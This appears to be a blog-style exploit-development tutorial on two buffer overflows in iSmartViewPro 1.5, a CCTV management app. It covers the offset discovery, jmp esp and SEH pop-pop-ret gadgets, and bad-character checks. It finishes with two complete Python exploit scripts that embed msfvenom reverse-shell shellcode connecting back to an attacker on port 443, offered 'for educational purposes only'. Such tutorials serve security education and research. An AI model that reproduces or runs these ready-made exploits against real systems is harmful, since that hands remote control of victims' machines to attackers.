Buffer overflow: Vanilla EIP Overwrite and SEH

Software link: https://www.exploit-db.com/apps/abb435d262bb405f87a8ea4c07fd9d80-MonitoringsoftwareiSmartViewPro1.5.rar

iSmartViewPro is an app that was used to manage CCTV cameras on a PC/laptop remotely. The version 1.5 is old and it’s vulnerable to multiple buffer overflow vulnerabilities as reported by multiple researchers at https://www.exploit-db.com/. The purpose of this article is to create a PoC python script which could be used to exploit the application. Some of the buffer overflow mitigation techniques like ASLR (address space layout randomization), DEP (Data execution prevention) and SEHOP (Structured exception handler overwrite protection) are described in detail at https://www.synopsys.com/blogs/software-security/detect-prevent-and-mitigate-buffer-overflow-attacks/.

  1. Vanilla EIP Overwrite Buffer Overflow

The first method to exploit the application is represented by a classic buffer overflow which overwrites EIP (instruction pointer). The vulnerable software is shown in figure 1:

Figure 1

By clicking on “+” sign we will discover the vulnerable field called “Save Path for Snapshot and Record file”:

Figure 2

To confirm that the field is indeed vulnerable we’re going to write 1000 of “A” characters:

Figure 3 – Immunity Debugger on the right side

By pressing the Save button we’ll get the expected access violation error as shown below:

Figure 4

Mona script is a Python plugin for Immunity Debugger. Pattern_create command is used to create a cyclic pattern of 1000 characters (this will be used to find the offset):

Figure 5

The sequence generated by Mona is saved to a file called pattern.txt. The content of the file is copied and pasted into the vulnerable field. We get a new access violation error, however the EIP register is overwritten with other 4 bytes:

Figure 6

We’re using pattern_offset command to find the position of the 4 bytes into the sequence:

Figure 7

In order to confirm that 272 is the right offset, we’ll send the following payload: 272 of “A” chars, 4 of “B”s and the rest of characters until 1000 are “C”s. If that’s the case EIP will be overwritten by “B”s:

Figure 8

A major advantage for us is the fact that ESP points to our buffer of “C”s, as shown in figure 9:

Figure 9

Again Mona is used to enumerate all the DLLs which are loaded by the current process. We’re interested in DLLs which have ASLR (address space layout randomization) disabled and aren’t rebasable:

Figure 10

We’ll try to find “jmp esp” gadgets in the loaded executable modules which comply with the conditions described above. Using such an instruction we’ll be able to overwrite the instruction pointer with the address of the gadget and jump to our controlled buffer:

Figure 11

The first returned address from above could be used to modify the exploit (the 4 “B” characters) with our address (little endian). If everything works smoothly we’ll be able to reach the “jmp esp” instruction:

Figure 12 – We reached our desired address

While exploiting buffer overflows vulnerabilities you need to take into account possible bad characters. A bad character is usually replaced by our program with another one (some applications only accept ASCII characters and the others are transformed to ASCII chars by some operations). There are multiple ways to check for bad characters (for example using Mona plugin), however we’ll do it manually this time because it’s easier and faster. The bytes “\x00\x0a\x0d” aren’t taken into account from the beginning because most of the time they’re considered not useful (there are plenty of characters to use, no need for these 3). The exploit is modified such that the sequence of “C”s now contains the bytes starting from “\x01” until “\xff” (without “\x0a” and “\x0d”) and we’ll check to see how they’re represented in memory:

Figure 13 – All the characters are not modified and can be used to construct our payload

Msfvenom could be utilized to generate a reverse shell payload which will result in a reverse shell back to the attacker’s machine (port 443) without using the specified characters and knowing that ESP points to our buffer:

Figure 14

After generating the file which contains our shellcode and exploiting the application we’re getting a reverse shell on our host:

Figure 15

The final exploit code is presented below, feel free to use it for educational purposes only:

#!/usr/bin/python

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
# the shellcode is different than the one presented in figure 14, however the functionality is the same
buf =  ""
buf += "\x89\xe3\x2b\xc9\xba\x4f\x22\x9a\xa0\xb1\x52\x31\x53"
buf += "\x12\x83\xeb\xfc\x03\x1c\x2c\x78\x55\x5e\xd8\xfe\x96"
buf += "\x9e\x19\x9f\x1f\x7b\x28\x9f\x44\x08\x1b\x2f\x0e\x5c"
buf += "\x90\xc4\x42\x74\x23\xa8\x4a\x7b\x84\x07\xad\xb2\x15"
buf += "\x3b\x8d\xd5\x95\x46\xc2\x35\xa7\x88\x17\x34\xe0\xf5"
buf += "\xda\x64\xb9\x72\x48\x98\xce\xcf\x51\x13\x9c\xde\xd1"
buf += "\xc0\x55\xe0\xf0\x57\xed\xbb\xd2\x56\x22\xb0\x5a\x40"
buf += "\x27\xfd\x15\xfb\x93\x89\xa7\x2d\xea\x72\x0b\x10\xc2"
buf += "\x80\x55\x55\xe5\x7a\x20\xaf\x15\x06\x33\x74\x67\xdc"
buf += "\xb6\x6e\xcf\x97\x61\x4a\xf1\x74\xf7\x19\xfd\x31\x73"
buf += "\x45\xe2\xc4\x50\xfe\x1e\x4c\x57\xd0\x96\x16\x7c\xf4"
buf += "\xf3\xcd\x1d\xad\x59\xa3\x22\xad\x01\x1c\x87\xa6\xac"
buf += "\x49\xba\xe5\xb8\xbe\xf7\x15\x39\xa9\x80\x66\x0b\x76"
buf += "\x3b\xe0\x27\xff\xe5\xf7\x48\x2a\x51\x67\xb7\xd5\xa2"
buf += "\xae\x7c\x81\xf2\xd8\x55\xaa\x98\x18\x59\x7f\x0e\x48"
buf += "\xf5\xd0\xef\x38\xb5\x80\x87\x52\x3a\xfe\xb8\x5d\x90"
buf += "\x97\x53\xa4\x73\x58\x0b\x02\x02\x30\x4e\x4a\x04\x7a"
buf += "\xc7\xac\x6c\x6c\x8e\x67\x19\x15\x8b\xf3\xb8\xda\x01"
buf += "\x7e\xfa\x51\xa6\x7f\xb5\x91\xc3\x93\x22\x52\x9e\xc9"
buf += "\xe5\x6d\x34\x65\x69\xff\xd3\x75\xe4\x1c\x4c\x22\xa1"
buf += "\xd3\x85\xa6\x5f\x4d\x3c\xd4\x9d\x0b\x07\x5c\x7a\xe8"
buf += "\x86\x5d\x0f\x54\xad\x4d\xc9\x55\xe9\x39\x85\x03\xa7"
buf += "\x97\x63\xfa\x09\x41\x3a\x51\xc0\x05\xbb\x99\xd3\x53"
buf += "\xc4\xf7\xa5\xbb\x75\xae\xf3\xc4\xba\x26\xf4\xbd\xa6"
buf += "\xd6\xfb\x14\x63\xe6\xb1\x34\xc2\x6f\x1c\xad\x56\xf2"
buf += "\x9f\x18\x94\x0b\x1c\xa8\x65\xe8\x3c\xd9\x60\xb4\xfa"
buf += "\x32\x19\xa5\x6e\x34\x8e\xc6\xba"

exploit = "A"*272
# jmp esp - 0x69977E25
exploit += "\x25\x7e\x97\x69"
exploit += buf
exploit += "C"*(1000-len(buf)-276) # not really necessary, feel free to delete these bytes

f = open("method-1.txt", "w")
f.write(exploit)
f.close()
  1. SEH (Structured Exception Handling) based Buffer Overflow

The second method will be used to overwrite an exception handler with our controlled bytes. We’ll be using another 6000-bytes pattern generated by Mona (same as before) in order to crash the application (same field will be abused). The operation is successful and the address gets overwritten by the malicious payload:

Figure 16

Pattern_offset is utilized to determine the offset of the 4 bytes in the sequence:

Figure 17

The confirmation that the offset is correct and now we’re controlling the current exception handler (0x43434343) and the next SEH record (0x42424242):

Figure 18

Now we need a “pop pop ret” gadget because of the way how SEH works and thus we’ll misdirect the execution of the SEH handler after an exception is raised. Mona is very useful again and could be used to find all “SEH-related” gadgets in all executable modules:

Figure 19

We’re looking for an address located in a DLL that’s not randomized, not compiled with the SafeSEH option which will be used to replace “CCCC”:

Figure 20 – We reached the “pop pop ret” gadget

“pop pop ret” pops 2 values from the stack (8 bytes) and then jumps to the next value (in our case, 0x0019E204). However this address points to the next SEH record and it’s under the attacker’s control. The first 4 bytes (0x42424242) will be used to jump over the next 4 using a little trick which consists of 2 unconditional jumps which are exclusive (this means that one of them will be executed in every situation):

Figure 21 – One of the jump operations is performed and we’re reaching the area of “D” characters

Generating our reverse shell using msfvenom, however this time without a BufferRegister parameter:

Figure 22

After completing all the steps described so far the end goal is reached as in the first case:

Figure 23

The python script which implements this 2nd method of exploitation, feel free to use it for educational purposes only:

#!/usr/bin/python

# the shellcode is different than the one presented in figure 22 but again it has the same functionality
buf =  ""
buf += "\xd9\xc3\xbf\x7c\xdc\xed\x95\xd9\x74\x24\xf4\x58\x29"
buf += "\xc9\xb1\x52\x31\x78\x17\x83\xc0\x04\x03\x04\xcf\x0f"
buf += "\x60\x08\x07\x4d\x8b\xf0\xd8\x32\x05\x15\xe9\x72\x71"
buf += "\x5e\x5a\x43\xf1\x32\x57\x28\x57\xa6\xec\x5c\x70\xc9"
buf += "\x45\xea\xa6\xe4\x56\x47\x9a\x67\xd5\x9a\xcf\x47\xe4"
buf += "\x54\x02\x86\x21\x88\xef\xda\xfa\xc6\x42\xca\x8f\x93"
buf += "\x5e\x61\xc3\x32\xe7\x96\x94\x35\xc6\x09\xae\x6f\xc8"
buf += "\xa8\x63\x04\x41\xb2\x60\x21\x1b\x49\x52\xdd\x9a\x9b"
buf += "\xaa\x1e\x30\xe2\x02\xed\x48\x23\xa4\x0e\x3f\x5d\xd6"
buf += "\xb3\x38\x9a\xa4\x6f\xcc\x38\x0e\xfb\x76\xe4\xae\x28"
buf += "\xe0\x6f\xbc\x85\x66\x37\xa1\x18\xaa\x4c\xdd\x91\x4d"
buf += "\x82\x57\xe1\x69\x06\x33\xb1\x10\x1f\x99\x14\x2c\x7f"
buf += "\x42\xc8\x88\xf4\x6f\x1d\xa1\x57\xf8\xd2\x88\x67\xf8"
buf += "\x7c\x9a\x14\xca\x23\x30\xb2\x66\xab\x9e\x45\x88\x86"
buf += "\x67\xd9\x77\x29\x98\xf0\xb3\x7d\xc8\x6a\x15\xfe\x83"
buf += "\x6a\x9a\x2b\x03\x3a\x34\x84\xe4\xea\xf4\x74\x8d\xe0"
buf += "\xfa\xab\xad\x0b\xd1\xc3\x44\xf6\xb2\x2b\x30\x5c\xc3"
buf += "\xc4\x43\x9c\xc5\xaf\xcd\x7a\xaf\xdf\x9b\xd5\x58\x79"
buf += "\x86\xad\xf9\x86\x1c\xc8\x3a\x0c\x93\x2d\xf4\xe5\xde"
buf += "\x3d\x61\x06\x95\x1f\x24\x19\x03\x37\xaa\x88\xc8\xc7"
buf += "\xa5\xb0\x46\x90\xe2\x07\x9f\x74\x1f\x31\x09\x6a\xe2"
buf += "\xa7\x72\x2e\x39\x14\x7c\xaf\xcc\x20\x5a\xbf\x08\xa8"
buf += "\xe6\xeb\xc4\xff\xb0\x45\xa3\xa9\x72\x3f\x7d\x05\xdd"
buf += "\xd7\xf8\x65\xde\xa1\x04\xa0\xa8\x4d\xb4\x1d\xed\x72"
buf += "\x79\xca\xf9\x0b\x67\x6a\x05\xc6\x23\x9a\x4c\x4a\x05"
buf += "\x33\x09\x1f\x17\x5e\xaa\xca\x54\x67\x29\xfe\x24\x9c"
buf += "\x31\x8b\x21\xd8\xf5\x60\x58\x71\x90\x86\xcf\x72\xb1"

exploit = "A"*260
exploit += "\x74\x06\x75\x04"
# 0x69901d06 - pop pop ret gadget
exploit += "\x06\x1d\x90\x69"
exploit += buf
exploit += "D"*(6000-268-len(buf))

f = open("method-2.txt", "w")
f.write(exploit)
f.close()

References:

https://www.immunityinc.com/products/debugger/

https://www.exploit-db.com/docs/english/17505-structured-exception-handler-exploitation.pdf